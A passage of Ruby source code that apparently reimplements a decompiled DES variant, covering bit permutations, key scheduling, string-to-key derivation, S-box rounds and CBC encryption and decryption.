    if (v4 & 2) != 0
      v6 |= 0x10000
    end
    if (v3 & 2) != 0
      v6 |= 0x20000
    end
    if (v4 & 0x200) != 0
      v6 |= 0x40000
    end
    if (v3 & 0x200) != 0
      v6 |= 0x80000
    end
    if (v4 & 0x20000) != 0
      v6 |= 0x100000
    end
    if (v3 & 0x20000) != 0
      v6 |= 0x200000
    end
    if (v4 & 0x2000000) != 0
      v6 |= 0x400000
    end
    if (v3 & 0x2000000) != 0
      v6 |= 0x800000
    end
    if (v4 & 1) != 0
      v6 |= 0x1000000
    end
    if (v3 & 1) != 0
      v6 |= 0x2000000
    end
    if (v4 & 0x100) != 0
      v6 |= 0x4000000
    end
    if (v3 & 0x100) != 0
      v6 |= 0x8000000
    end
    if (v4 & 0x10000) != 0
      v6 |= 0x10000000
    end
    if (v3 & 0x10000) != 0
      v6 |= 0x20000000
    end
    if (v4 & 0x1000000) != 0
      v6 |= 0x40000000
    end
    if (v3 & 0x1000000) != 0
      v6 |= 0x80000000
    end

    # Create return tuple
    ret_block = Array.new
    ret_block.push v5
    ret_block.push v6
    ret_block
  end

  def load(a1)
    a2 = Array.new(8, 0)
    v3 = a1
    a2[0] = a1 & 0xff
    v3 >>= 3
    a2[1] = v3 & 0xff
    v3 >>= 4
    a2[2] = v3 & 0xff
    v3 >>= 4
    a2[3] = v3 & 0xff
    v3 >>= 4
    a2[4] = v3 & 0xff
    v3 >>= 4
    a2[5] = v3 & 0xff
    v3 >>= 4
    a2[6] = v3 & 0xff
    v3 >>= 4
    a2[7] = v3 & 0xff
    a2[0] = (a2[0] * 2) & 0xff
    a2[7] |= (16 * a2[0]) & 0xff
    v3 >>= 4
    a2[0] |= v3 & 0xff

    data_block = a2.pack("c*").unpack("V*")
    data_block[0] &= 0x3F3F3F3F
    data_block[1] &= 0x3F3F3F3F
    data_block
  end

  def desx(data_block, ksch, idx)
    ksch = ksch.pack("V*")
    ksch = ksch.unpack("Q<*")
    key_block = ksch[idx]

    data_block_ptr = data_block.pack("V*")
    data_block_ptr = data_block_ptr.unpack1("Q<*")
    data_block_ptr ^= key_block

    counter = 1
    data_block_byte_ptr = [data_block_ptr].pack('Q<')
    left = SBOXES[data_block_byte_ptr[0].ord]
    right = SBOXES[data_block_byte_ptr[0].ord + (counter << 6)]
    counter += 1
    left ^= SBOXES[data_block_byte_ptr[1].ord + (counter << 6)]
    counter += 1
    right ^= SBOXES[data_block_byte_ptr[1].ord + (counter << 6)]
    counter += 1
    left ^= SBOXES[data_block_byte_ptr[2].ord + (counter << 6)]
    counter += 1
    right ^= SBOXES[data_block_byte_ptr[2].ord + (counter << 6)]
    counter += 1
    left ^= SBOXES[data_block_byte_ptr[3].ord + (counter << 6)]
    counter += 1
    right ^= SBOXES[data_block_byte_ptr[3].ord + (counter << 6)]
    counter += 1
    left ^= SBOXES[data_block_byte_ptr[4].ord + (counter << 6)]
    counter += 1
    right ^= SBOXES[data_block_byte_ptr[4].ord + (counter << 6)]
    counter += 1
    left ^= SBOXES[data_block_byte_ptr[5].ord + (counter << 6)]
    counter += 1
    right ^= SBOXES[data_block_byte_ptr[5].ord + (counter << 6)]
    counter += 1
    left ^= SBOXES[data_block_byte_ptr[6].ord + (counter << 6)]
    counter += 1
    right ^= SBOXES[data_block_byte_ptr[6].ord + (counter << 6)]
    counter += 1
    left ^= SBOXES[data_block_byte_ptr[7].ord + (counter << 6)]
    counter += 1
    right ^= SBOXES[data_block_byte_ptr[7].ord + (counter << 6)]

    # Create return tuple
    ret_block = Array.new
    ret_block.push left
    ret_block.push right
    ret_block

  end

  def store(data_block)
    a1 = data_block.pack("V*")
    val = 8 * (16 * (16 * (16 * (16 * (16 * (16 * a1[7].ord | a1[6].ord) | a1[5].ord) | a1[4].ord) | a1[3].ord) | a1[2].ord) | a1[1].ord) | a1[0].ord >> 1
    val & 0xffffffff
  end

  def sbox_xors(data_block_in, ksch_arg, decrypt_flag)

    decrypt_flag_cpy = decrypt_flag
    if (decrypt_flag & 0x100) != 0
      data_block_0 = data_block_in
    else
      data_block_0 = rotate_block_init(data_block_in)
    end

    encrypt_flag = (decrypt_flag_cpy & 1) == 0
    ti_block_0 = load(data_block_0[0])
    ti_block_1 = load(data_block_0[1])

    for i in 0..15
      ti_cpy = ti_block_1
      if encrypt_flag
        ti_block_1 = desx(ti_block_1, ksch_arg, i)
      else
        ti_block_1 = desx(ti_block_1, ksch_arg, 15 - i)
      end
      ti_block_1[0] ^= ti_block_0[0]
      ti_block_1[1] ^= ti_block_0[1]
      ti_block_0 = ti_cpy
    end

    data_block_0[0] = store(ti_block_1)
    data_block_0[1] = store(ti_block_0)

    if (!(decrypt_flag_cpy & 0x200) != 0)
      rotate_block_final(data_block_0)
    else
      data_block_0
    end

  end

  def gen_key_unchecked(key)

    idx = 0
    key_arr = key.unpack("V*")
    key_sch = Array.new
    for i in 0..15
      idx += ROTATIONS[i].ord
      v6 = 0
      v5 = 0
      v14 = 0
      for j in 0..47
        pc2_p1 = (idx + PC2[j].ord) % 0x1C
        if PC2[j].ord > 0x1B
          pc2_p2 = 0x1c
        else
          pc2_p2 = 0
        end
        v13 = PC1[pc2_p1 + pc2_p2].ord
        if v13 <= 31
          v12 = 0
        else
          v12 = 1
          v13 -= 32
        end
        if j <= 23
          v10 = j
        else
          v14 = 1
          v10 = j - 24
        end
        v11 = 8 * (v10 / 6) + v10 % 6
        key_and = key_arr[v12] & SBOX_BYTE_ORDER[v13]

        if (key_and != 0)
          if v14 == 1
            v6 |= SBOX_BYTE_ORDER[v11]
          else
            v5 |= SBOX_BYTE_ORDER[v11]
          end
        end
      end
      key_sch.push v5
      key_sch.push v6
    end
    key_sch
  end

  def des_string_to_key(key_buf_str)

    des_keysch_0 = gen_key_unchecked(INIT_DES_KEY_0)
    des_keysch_1 = gen_key_unchecked(INIT_DES_KEY_1)

    temp_key1 = Array.new(8, 0)
    temp_key2 = Array.new(8, 0)

    key_buf_bytes = key_buf_str.unpack("c*")

    counter = 0
    key_buf_str_len = key_buf_bytes.length - 1
    for i in 0..key_buf_str_len
      counter %= 8
      temp_key1[counter] |= key_buf_bytes[i]
      temp_key2[counter] |= key_buf_bytes[i]

      data_block = temp_key1.pack("c*").unpack("V*")
      temp_key1 = sbox_xors(data_block, des_keysch_0, 0)
      temp_key1 = temp_key1.pack("V*").unpack("c*")

      data_block = temp_key2.pack("c*").unpack("V*")
      temp_key2 = sbox_xors(data_block, des_keysch_1, 0)
      temp_key2 = temp_key2.pack("V*").unpack("c*")
      counter += 1
    end

    # Prepare the return array
    ret_key = Array.new(8, 0)
    for j in 0..7
      ret_key[j] = temp_key2[j] ^ temp_key1[j]
    end
    ret_key.pack("c*")
  end

  def des_cbc(input_buf, key_sch, iv, decrypt_flag)

    output_block_arr = Array.new
    blocks = input_buf.unpack("Q<*")
    for i in 0..blocks.length - 1

      current_block = blocks[i]
      if decrypt_flag == 1
        cur_block = current_block
      else
        current_block ^= iv
      end

      current_block_tuple = [current_block].pack("Q<").unpack("V*")
      output_block_tuple = sbox_xors(current_block_tuple, key_sch, decrypt_flag)
      output_block = output_block_tuple.pack("V*").unpack1("Q<")
      output_block_arr.push output_block

      if decrypt_flag == 1
        output_block ^= iv
        iv = cur_block
      else
        iv = output_block
      end
    end

    output_block_arr.pack("Q<*")

  end

  def des_crypt_func(binary_buf, key_buf, decrypt_flag)
    des_key = des_string_to_key(key_buf)
    des_keysch = gen_key_unchecked(des_key)

    temp_enc_buf = Array.new(8 * ((binary_buf.length + 7) >> 3) + 8, 0)
    binary_buf_str = binary_buf.unpack('c*')

    for j in 0..binary_buf_str.length - 1
      temp_enc_buf[j] = binary_buf_str[j]
    end

    temp_enc_buf = temp_enc_buf.pack('c*')
    output_buf = des_cbc(temp_enc_buf, des_keysch, 0, decrypt_flag)
    output_buf
  end

end